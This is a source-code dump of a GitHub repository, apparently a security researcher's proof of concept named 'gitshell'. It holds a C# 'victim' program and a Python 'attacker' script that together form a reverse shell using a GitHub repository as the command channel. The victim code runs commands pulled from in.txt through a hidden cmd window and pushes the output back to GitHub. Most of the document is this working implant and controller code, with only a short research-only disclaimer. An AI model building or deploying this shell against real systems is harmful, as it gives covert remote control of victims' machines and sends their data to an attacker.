├── images └── ExampleShell.png ├── GitShellVictim ├── FodyWeavers.xml ├── App.config ├── packages.config ├── Properties │ └── AssemblyInfo.cs ├── GitShellVictim.csproj └── Program.cs ├── GitShellAttacker ├── readme.md └── gitshell-attacker.py ├── GitShellVictim.sln ├── README.md ├── .gitignore └── LICENSE /images/ExampleShell.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/cornerpirate/gitshell/HEAD/images/ExampleShell.png -------------------------------------------------------------------------------- /GitShellVictim/FodyWeavers.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /GitShellAttacker/readme.md: -------------------------------------------------------------------------------- 1 | Execute these commands to install dependencies: 2 | 3 | ```bash 4 | pip install gitpython 5 | pip install YURL 6 | pip install pexpect 7 | ``` 8 | 9 | -------------------------------------------------------------------------------- /GitShellVictim/App.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | -------------------------------------------------------------------------------- /GitShellVictim/packages.config: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /GitShellVictim.sln: -------------------------------------------------------------------------------- 1 | 2 | Microsoft Visual Studio Solution File, Format Version 12.00 3 | # Visual Studio 15 4 | VisualStudioVersion = 15.0.27130.2027 5 | MinimumVisualStudioVersion = 10.0.40219.1 6 | Project("{FAE04EC0-301F-11D3-BF4B-00C04F79EFBC}") = "GitShellVictim", "GitShellVictim\GitShellVictim.csproj", "{0B97D7E5-B18A-40D7-9B32-18A29C8E842B}" 7 | EndProject 8 | Global 9 | GlobalSection(SolutionConfigurationPlatforms) = preSolution 10 | Debug|Any CPU = Debug|Any CPU 11 | Release|Any CPU = Release|Any CPU 12 | EndGlobalSection 13 | GlobalSection(ProjectConfigurationPlatforms) = postSolution 14 | {0B97D7E5-B18A-40D7-9B32-18A29C8E842B}.Debug|Any CPU.ActiveCfg = Debug|Any CPU 15 | {0B97D7E5-B18A-40D7-9B32-18A29C8E842B}.Debug|Any CPU.Build.0 = Debug|Any CPU 16 | {0B97D7E5-B18A-40D7-9B32-18A29C8E842B}.Release|Any CPU.ActiveCfg = Release|Any CPU 17 | {0B97D7E5-B18A-40D7-9B32-18A29C8E842B}.Release|Any CPU.Build.0 = Release|Any CPU 18 | EndGlobalSection 19 | GlobalSection(SolutionProperties) = preSolution 20 | HideSolutionNode = FALSE 21 | EndGlobalSection 22 | GlobalSection(ExtensibilityGlobals) = postSolution 23 | SolutionGuid = {A9808515-9289-4748-BDD1-95E992368AF8} 24 | EndGlobalSection 25 | EndGlobal 26 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # gitshell 2 | A PoC .net shell which uses a GitHub.com repository for the communication channel. 3 | 4 | # Gasp at it in action! 5 | 6 | Showing a victim executing a shell and attacker executing commands: 7 | 8 | ![ExampleShell](images/ExampleShell.png?raw=true "Example Shell") 9 | 10 | For more information on how it all hangs together please review the companion blog post from SecarmaLabs over here: 11 | 12 | https://blog.secarma.co.uk/labs/git-shell-proof-of-concept 13 | 14 | # GitShellVictim 15 | 16 | Clone down the repository and then open "GitShellVictim.sln" inside Visual Studio 2017. You can then read the source or compile the binary yourself. 17 | 18 | There is a version of the binary in the "Debug" folder already. However, why would you trust that a hacker like me has given you the actual Binary? I mean, I did... But... Read the code and compile your own. Maybe you don't want all commits to your repository to be by @cornerpirate? You can fix that in the code if you want to. 19 | 20 | # GitShellAttacker 21 | 22 | This folder contains the python script used on the attacker's side. This has only been tested on Kali and should work if you install the dependencies listed in Readme.md within this folder. 23 | 24 | # Disclaimer 25 | 26 | This is for research purposes only. Do not use this in any situation where you are unauthorised to do so. -------------------------------------------------------------------------------- /GitShellVictim/Properties/AssemblyInfo.cs: -------------------------------------------------------------------------------- 1 | using System.Reflection; 2 | using System.Runtime.CompilerServices; 3 | using System.Runtime.InteropServices; 4 | 5 | // General Information about an assembly is controlled through the following 6 | // set of attributes. Change these attribute values to modify the information 7 | // associated with an assembly. 8 | [assembly: AssemblyTitle("GitShellVictim")] 9 | [assembly: AssemblyDescription("")] 10 | [assembly: AssemblyConfiguration("")] 11 | [assembly: AssemblyCompany("")] 12 | [assembly: AssemblyProduct("GitShellVictim")] 13 | [assembly: AssemblyCopyright("Copyright © 2018")] 14 | [assembly: AssemblyTrademark("")] 15 | [assembly: AssemblyCulture("")] 16 | 17 | // Setting ComVisible to false makes the types in this assembly not visible 18 | // to COM components. If you need to access a type in this assembly from 19 | // COM, set the ComVisible attribute to true on that type. 20 | [assembly: ComVisible(false)] 21 | 22 | // The following GUID is for the ID of the typelib if this project is exposed to COM 23 | [assembly: Guid("0b97d7e5-b18a-40d7-9b32-18a29c8e842b")] 24 | 25 | // Version information for an assembly consists of the following four values: 26 | // 27 | // Major Version 28 | // Minor Version 29 | // Build Number 30 | // Revision 31 | // 32 | // You can specify all the values or you can default the Build and Revision Numbers 33 | // by using the '*' as shown below: 34 | // [assembly: AssemblyVersion("1.0.*")] 35 | [assembly: AssemblyVersion("1.0.0.0")] 36 | [assembly: AssemblyFileVersion("1.0.0.0")] 37 | -------------------------------------------------------------------------------- /GitShellVictim/GitShellVictim.csproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | Debug 7 | AnyCPU 8 | {0B97D7E5-B18A-40D7-9B32-18A29C8E842B} 9 | Exe 10 | GitShellVictim 11 | GitShellVictim 12 | v4.6.1 13 | 512 14 | true 15 | 16 | 17 | 18 | 19 | AnyCPU 20 | true 21 | full 22 | false 23 | bin\Debug\ 24 | DEBUG;TRACE 25 | prompt 26 | 4 27 | 28 | 29 | AnyCPU 30 | pdbonly 31 | true 32 | bin\Release\ 33 | TRACE 34 | prompt 35 | 4 36 | 37 | 38 | 39 | 40 | 41 | 42 | 43 | ..\packages\Costura.Fody.2.0.0\lib\net452\Costura.dll 44 | 45 | 46 | ..\packages\LibGit2Sharp.0.25.0\lib\netstandard2.0\LibGit2Sharp.dll 47 | 48 | 49 | 50 | 51 | 52 | 53 | 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | Designer 64 | 65 | 66 | 67 | 68 | 69 | 70 | This project references NuGet package(s) that are missing on this computer. Use NuGet Package Restore to download them. For more information, see http://go.microsoft.com/fwlink/?LinkID=322105. The missing file is {0}. 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | -------------------------------------------------------------------------------- /GitShellAttacker/gitshell-attacker.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python 2 | import git # Interacting with git 3 | from git import Repo # Interacting with git Repositories 4 | import shutil # for conveniently deleting local folder 5 | import hashlib # for getting hash of file 6 | import pexpect # for interacting with shell 7 | from subprocess import Popen, PIPE, STDOUT 8 | import commands 9 | import argparse 10 | import sys 11 | import os 12 | import time 13 | 14 | def main(): 15 | 16 | if(os.path.exists(args.path)): 17 | answer = raw_input("path already exists Should I delete that folder and all its contents? [y/n]? ") 18 | if(answer == "y"): 19 | shutil.rmtree(args.path, ignore_errors=True) # rm -r 20 | 21 | # Git Clone - copy down the target repo 22 | print "Cloning " + args.url + " down to " + args.path 23 | Repo.clone_from(args.url, args.path) 24 | 25 | localrepo = git.Repo(args.path) # object ref to local path 26 | infile = os.path.join(args.path, 'in.txt') # full path to in.txt 27 | outfile = os.path.join(args.path, 'out.txt') # full path to out.txt 28 | 29 | print "infile: " + infile 30 | print "outfile: " + outfile 31 | 32 | # Being in the git folder is pretty useful throughout. 33 | os.chdir(args.path) 34 | 35 | # calculate the checksum of the outfile currently 36 | outhash = hashlib.md5(open(outfile, 'rb').read()).hexdigest() 37 | print "outhash: " + outhash 38 | 39 | try: 40 | setupAuthentication() 41 | print "Have set your GitHub authentication token for you!" 42 | except: 43 | print "User was already authenticated to GitHub" 44 | 45 | while True: 46 | # git pull - check for changes 47 | #print "git pull - synching remote to local" 48 | #localrepo.remotes.origin.pull() 49 | gitPull(localrepo) 50 | 51 | # check if outfile has changed 52 | #if(outhash != hashlib.md5(open(outfile, 'rb').read()).hexdigest()): 53 | # display updated output and update outhash 54 | displayOutput(outfile) 55 | outhash = hashlib.md5(open(outfile, 'rb').read()).hexdigest() 56 | 57 | # prompt user for input, this blocks the loop on this side until attacker issues command 58 | cmd = raw_input("# ") 59 | if(cmd != ''): 60 | # save cmd into "in.txt" 61 | setIn(infile, cmd) 62 | # git commit - commit changs to "in.txt" in local repo 63 | gitCommit(localrepo, infile) 64 | # git push - push to remote 65 | gitPush(localrepo) 66 | time.sleep(5) 67 | # wait for victim to commit response. 68 | getResponse() 69 | else: 70 | # delay for 2 seconds 71 | print "Waiting 5 seconds" 72 | time.sleep(5) 73 | 74 | 75 | def getResponse(): 76 | #print "== getResponse " 77 | count = 0 78 | while True: 79 | count = count+1 80 | print "checking remote repo for updates loop #" + str(count) 81 | status, output = commands.getstatusoutput("git fetch") 82 | #print output 83 | if(len(output) != 0): 84 | print "Victim updated repo!" 85 | return # exit getResponse 86 | 87 | # This executes a "push" request to trigger a github authentication prompt. 88 | # It then enters the credentials for you. 89 | # Token authentcation works with the token as the username and a blank password. 90 | def setupAuthentication(): 91 | # We need to setup authentication for github. 92 | # This one tells git to save credentials 93 | 94 | os.system("git config credential.helper store") 95 | print "credential.helper store executed" 96 | child = pexpect.spawn('git push origin master') 97 | child.expect("Username*", timeout=2) 98 | child.sendline(args.token) 99 | child.expect("Password*", timeout=2) 100 | child.sendline("") 101 | child.expect(pexpect.EOF) 102 | 103 | # git push - pushes local changes up to remote 104 | def gitPush(localrepo): 105 | #print "== gitPush" 106 | #localrepo.remotes.origin.push() 107 | #os.system("git push origin master") 108 | proc = Popen(['git', 'push', 'origin','master'], stdout=PIPE, stderr=STDOUT) 109 | status, output = commands.getstatusoutput("git push origin master") 110 | 111 | # git commit - commits the latest "in.txt" locally 112 | def gitCommit(localrepo, infile): 113 | #print "== gitCommit" 114 | #os.system("git add in.txt") 115 | status, output = commands.getstatusoutput("git add in.txt") 116 | #print output 117 | status, output = commands.getstatusoutput("git commit -m 'attacker'") 118 | #print output 119 | 120 | #proc = Popen('cd ' + args.path + '/ && git add in.txt', stdout=PIPE, stderr=STDOUT) 121 | #proc = Popen('cd ' + args.path + '/ && git commit -m \'attacker\'', stdout=PIPE, stderr=STDOUT) 122 | #os.system("git commit -m 'attacker'") 123 | 124 | def gitPull(localrepo): 125 | #proc = Popen(['git', 'pull'], stdout=PIPE, stderr=STDOUT) 126 | # print "== gitPull" 127 | status, output = commands.getstatusoutput("git pull") 128 | # print output 129 | 130 | 131 | # display the contents of "out.txt" 132 | # this may have crypto to deal with soon. 133 | def displayOutput(outfile): 134 | #print "== displayOutput" 135 | with open(outfile) as f: 136 | print f.read() 137 | 138 | # save the attacker's command into "in.txt" 139 | # this may have crypto to deal with soon. 140 | def setIn(infile, cmd): 141 | f = open(infile,'w') 142 | f.write(cmd) 143 | f.close() 144 | 145 | ################################################################################ 146 | ################################################################################ 147 | 148 | def usage(): 149 | return "== Example Usage ==\n\n" + sys.argv[0] + " -u https://github.com/username/repo -p /tmp/gitshell -t 11111111111111111111111111" 150 | 151 | # Defining the arguments and parsing the args. 152 | parser = argparse.ArgumentParser( 153 | description='Using a GitHub repository to deliver a reverse shell', 154 | epilog=usage(), 155 | formatter_class=argparse.RawDescriptionHelpFormatter) 156 | parser._action_groups.pop() 157 | 158 | required = parser.add_argument_group('required arguments') 159 | 160 | required.add_argument("-u", "--url", type=str, help="URL to github repo you will communicate through", required=True) 161 | required.add_argument("-p", "--path",type=str, help="Local path to clone repo to", required=True) 162 | required.add_argument("-t", "--token",type=str, help="GitHub authentication token", required=True) 163 | 164 | try: 165 | 166 | args = parser.parse_args() 167 | 168 | except: 169 | #print sys.exc_info() 170 | #parser.print_help() 171 | sys.exit(0) 172 | 173 | main() 174 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | ## Ignore Visual Studio temporary files, build results, and 2 | ## files generated by popular Visual Studio add-ons. 3 | ## 4 | ## Get latest from https://github.com/github/gitignore/blob/master/VisualStudio.gitignore 5 | 6 | # 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The text should be enclosed in the appropriate 184 | comment syntax for the file format. We also recommend that a 185 | file or class name and description of purpose be included on the 186 | same "printed page" as the copyright notice for easier 187 | identification within third-party archives. 188 | 189 | Copyright [yyyy] [name of copyright owner] 190 | 191 | Licensed under the Apache License, Version 2.0 (the "License"); 192 | you may not use this file except in compliance with the License. 193 | You may obtain a copy of the License at 194 | 195 | http://www.apache.org/licenses/LICENSE-2.0 196 | 197 | Unless required by applicable law or agreed to in writing, software 198 | distributed under the License is distributed on an "AS IS" BASIS, 199 | WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. 200 | See the License for the specific language governing permissions and 201 | limitations under the License. 202 | -------------------------------------------------------------------------------- /GitShellVictim/Program.cs: -------------------------------------------------------------------------------- 1 | using System; 2 | using System.Collections.Generic; 3 | using System.Linq; 4 | using System.Text; 5 | using System.Threading.Tasks; 6 | using LibGit2Sharp; 7 | using System.IO; 8 | using System.Threading; 9 | using System.Security.Cryptography; 10 | using System.Net; 11 | 12 | namespace GitShellVictim 13 | { 14 | class Program 15 | { 16 | public static string localPath = ".\\repo"; 17 | public static string inFile = localPath + "\\in.txt"; 18 | public static string outFile = localPath + "\\out.txt"; 19 | 20 | // Repo we will use to communicate through. 21 | public static string remotePath = ""; 22 | // Generated via https://github.com/settings/tokens 23 | // For gitshells user account. 24 | public static string accessToken = ""; 25 | 26 | 27 | /** 28 | * Prints the message in friendly green and then resets the colours 29 | */ 30 | static void print_good(string msg) { 31 | Console.ForegroundColor = ConsoleColor.Green; 32 | Console.WriteLine(msg); 33 | Console.ResetColor(); 34 | } 35 | 36 | /** 37 | * Prints the message in friendly green and then resets the colours 38 | */ 39 | static void print_bad(string msg) { 40 | Console.ForegroundColor = ConsoleColor.Red; 41 | Console.WriteLine(msg); 42 | Console.ResetColor(); 43 | } 44 | 45 | /** 46 | * Show welcome banner to our victim! 47 | */ 48 | static void welcome_banner(){ 49 | var welcome = @" 50 | ____ _ _ 51 | / ___| ___ ___ __ _ _ __ _ __ ___ __ _| | __ _| |__ ___ 52 | \___ \ / _ \/ __/ _` | '__| '_ ` _ \ / _` | | / _` | '_ \/ __| 53 | ___) | __/ (_| (_| | | | | | | | | (_| | |__| (_| | |_) \__ \ 54 | |____/ \___|\___\__,_|_| |_| |_| |_|\__,_|_____\__,_|_.__/|___/ 55 | "; 56 | Console.WriteLine(welcome) ; 57 | Console.WriteLine("============================================") ; 58 | Console.WriteLine("GitShellVictim - v 0.0.1"); 59 | Console.WriteLine("============================================") ; 60 | } 61 | 62 | 63 | static void Main(string[] args) 64 | { 65 | 66 | // Welcome our victim 67 | welcome_banner(); 68 | 69 | //var configuration = Configuration; 70 | 71 | //Console.WriteLine(configuration.Get("http.proxy")); 72 | //Console.WriteLine(configuration.Get("https.proxy")); 73 | 74 | // Check for proxy settings, if IE has default this will grab them 75 | checkProxy(); 76 | Console.WriteLine("HTTP_PROXY:" + Environment.GetEnvironmentVariable("HTTP_PROXY")); 77 | Console.WriteLine("HTTPS_PROXY:" + Environment.GetEnvironmentVariable("HTTPS_PROXY")); 78 | 79 | 80 | /*** 81 | 1) Clone the exploit repository down. https://github.com/gitshells/test 82 | 2) While True 83 | 2.1) Git Pull - get the most recent changes from github.com 84 | 2.2) Check If "in.txt" is modified. 85 | 2.3) Decrypt "in.txt" 86 | 2.4) Execute command from "in.txt", encrypt output and save into "out.txt" 87 | 2.5) Git Commit - save changes to "out.txt" in local repository 88 | 2.6) Git Push - upload our changes to github.com 89 | ***/ 90 | 91 | try 92 | { 93 | // Get URL to clone 94 | Console.Write("Enter URL of GitHub Repo: "); 95 | remotePath = Console.ReadLine(); 96 | Console.Write("Enter GitHub Access Token: "); 97 | accessToken = Console.ReadLine(); 98 | 99 | // Check if localPath already exist 100 | if (Directory.Exists(localPath)) 101 | { 102 | Console.Write("LocalPath already exists. Do you want to delete the entire folder and contents [y/n]? "); 103 | var answer = Console.ReadLine(); 104 | if (answer.Equals("y")) 105 | { 106 | SetAttributesNormal(new DirectoryInfo(localPath)); 107 | Directory.Delete(localPath, true); 108 | Console.WriteLine("[*] Deleted " + localPath); 109 | } 110 | } 111 | 112 | // Clone respository 113 | Console.WriteLine("[*] Cloning " + remotePath); 114 | LibGit2Sharp.Repository.Clone(remotePath, localPath); 115 | var repo = new LibGit2Sharp.Repository(localPath); 116 | //var http_proxy = repo.Config.Get("http.proxy").Value; 117 | //var https_proxy = repo.Config.Get("https.proxy").Value; 118 | //Console.WriteLine("http.proxy Via Config.get:" + http_proxy); 119 | //Console.WriteLine("https.proxy Via Config.get:" + https_proxy); 120 | 121 | print_good("[*] Much success! Starting Loop"); 122 | 123 | string commandHash = getMD5(inFile); 124 | 125 | while (true) 126 | { 127 | // Fetch until there is a change in the remote 128 | 129 | // Git pull - download latest from GitHub.com 130 | GitPull(repo); 131 | string newhash = getMD5(inFile); 132 | if (commandHash.Equals(newhash) == false) 133 | { 134 | print_good("[*] New Command from my master"); 135 | commandHash = newhash; 136 | 137 | // Get command from "in.txt" 138 | var cmd = GetIn(); 139 | Console.WriteLine("\tcmd is: " + cmd); 140 | // Get result from executing that command. 141 | var res = ExecuteCommandSync(cmd); 142 | // Save result to file. 143 | SetOut(res); 144 | 145 | // Git Commit - commit our changes locally 146 | GitCommit(repo); 147 | // Git Push - upload our changes to GitHub 148 | GitPush(repo); 149 | } 150 | 151 | // Wait 2 seconds before trying again. 152 | Thread.Sleep(2000); 153 | } 154 | 155 | } 156 | catch (Exception ex) 157 | { 158 | // So nobody can say I don't handle my exceptions (badly) 159 | print_bad(ex.ToString()); 160 | } 161 | 162 | Console.ReadLine(); 163 | } 164 | 165 | private static void checkProxy() 166 | { 167 | //System.Net.WebProxy.Use 168 | IWebProxy proxy = WebRequest.GetSystemWebProxy(); 169 | string pxy = proxy.GetProxy(new Uri("https://blog.secarma.co.uk/labs/gitshelling")).ToString(); 170 | ICredentials creds = proxy.Credentials; 171 | 172 | if (pxy != "https://blog.secarma.co.uk/labs/gitshelling") { 173 | Environment.SetEnvironmentVariable("HTTP_PROXY",pxy); 174 | Environment.SetEnvironmentVariable("HTTPS_PROXY",pxy); 175 | Console.WriteLine("Proxy Server Detected, exported 'http_proxy' and 'https_proxy' environment variables"); 176 | Console.WriteLine(pxy); 177 | } else { 178 | Console.WriteLine("No proxy server detected"); 179 | } 180 | 181 | } 182 | 183 | private static string getMD5(string filename) 184 | { 185 | using (var md5 = MD5.Create()) 186 | { 187 | using (var stream = File.OpenRead(filename)) 188 | { 189 | var hash = md5.ComputeHash(stream); 190 | return BitConverter.ToString(hash).Replace("-", "").ToLowerInvariant(); 191 | } 192 | } 193 | } 194 | 195 | /** 196 | * Upload the latest local changes to GitHub.com 197 | */ 198 | private static void GitPush(LibGit2Sharp.Repository repo) 199 | { 200 | // Credentials are needed to push up to the server 201 | // I am using a token I generates 202 | LibGit2Sharp.Credentials credentials = new UsernamePasswordCredentials() 203 | { 204 | Username = accessToken, 205 | Password = string.Empty 206 | }; 207 | 208 | // Push this to remote using token authentication 209 | Remote remote = repo.Network.Remotes["origin"]; 210 | var options = new PushOptions(); 211 | // Token Auth works by the username being a token and the password being blank. 212 | options.CredentialsProvider = (_url, _user, _cred) => 213 | new UsernamePasswordCredentials { Username = accessToken, Password = string.Empty }; 214 | try 215 | { 216 | repo.Network.Push(remote, @"refs/heads/master", options); 217 | } 218 | catch(LibGit2Sharp.NonFastForwardException nff) 219 | { 220 | IEnumerable refSpecs = remote.FetchRefSpecs.Select(x => x.Specification); 221 | Commands.Fetch(repo, remote.Name, refSpecs, null, ""); 222 | GitPush(repo); 223 | } 224 | } 225 | 226 | /** 227 | * Save the locally modified files into the local repository 228 | */ 229 | private static void GitCommit(LibGit2Sharp.Repository repo) 230 | { 231 | 232 | Commands.Stage(repo, "*"); 233 | LibGit2Sharp.Signature author = new LibGit2Sharp.Signature("GitSheller", "@cornerpirate", DateTime.Now); 234 | LibGit2Sharp.Signature committer = author; 235 | // This line throws a LibGit2Sharp.EmptyCommitException when the file has not been altered. 236 | try 237 | { 238 | LibGit2Sharp.Commit commit = repo.Commit("Committed", author, committer); 239 | } catch(LibGit2Sharp.EmptyCommitException ece) 240 | { 241 | // No changes detected. 242 | } 243 | } 244 | 245 | /** 246 | * Download the latest repo from GitHub.com 247 | */ 248 | public static void GitPull(LibGit2Sharp.Repository repo) 249 | { 250 | LibGit2Sharp.Signature author = new LibGit2Sharp.Signature("GitSheller", "@cornerpirate", DateTime.Now); 251 | LibGit2Sharp.PullOptions options = new LibGit2Sharp.PullOptions(); 252 | LibGit2Sharp.Signature committer = author; 253 | LibGit2Sharp.Commands.Pull(repo, author, options) ; 254 | } 255 | 256 | /** 257 | * Based on https://www.codeproject.com/Articles/25983/How-to-Execute-a-Command-in-C 258 | */ 259 | public static string ExecuteCommandSync(object command) 260 | { 261 | try 262 | { 263 | // create the ProcessStartInfo using "cmd" as the program to be run, 264 | // and "/c " as the parameters. 265 | // Incidentally, /c tells cmd that we want it to execute the command that follows, 266 | // and then exit. 267 | System.Diagnostics.ProcessStartInfo procStartInfo = 268 | new System.Diagnostics.ProcessStartInfo("cmd", "/c " + command); 269 | 270 | // The following commands are needed to redirect the standard output. 271 | // This means that it will be redirected to the Process.StandardOutput StreamReader. 272 | procStartInfo.RedirectStandardOutput = true; 273 | procStartInfo.UseShellExecute = false; 274 | // Do not create the black window. 275 | procStartInfo.CreateNoWindow = true; 276 | // Now we create a process, assign its ProcessStartInfo and start it 277 | System.Diagnostics.Process proc = new System.Diagnostics.Process(); 278 | proc.StartInfo = procStartInfo; 279 | proc.Start(); 280 | // Get the output into a string 281 | string result = proc.StandardOutput.ReadToEnd(); 282 | 283 | if(result.Equals(string.Empty)) 284 | { 285 | result = "Command returned no output at " + DateTime.Now; 286 | } 287 | // Return the output 288 | return result; 289 | } 290 | catch (Exception objException) 291 | { 292 | // Log the exception 293 | return objException.Message; 294 | } 295 | } 296 | 297 | /** 298 | * This gets the command from the "in.txt" file 299 | */ 300 | static string GetIn() 301 | { 302 | var answer = File.ReadAllText(inFile).Trim(); 303 | return answer; 304 | } 305 | 306 | /** 307 | * This saves the output of the command into "out.txt" file 308 | * It clobbers whatever was in "out.txt" before. 309 | */ 310 | static void SetOut(string response) 311 | { 312 | File.WriteAllText(outFile, response); 313 | Console.WriteLine("[*] Response written to: " + outFile); 314 | } 315 | 316 | static void SetAttributesNormal(DirectoryInfo dir) 317 | { 318 | foreach (var subDir in dir.GetDirectories()) 319 | SetAttributesNormal(subDir); 320 | foreach (var file in dir.GetFiles()) 321 | { 322 | file.Attributes = FileAttributes.Normal; 323 | } 324 | } 325 | } 326 | } 327 | --------------------------------------------------------------------------------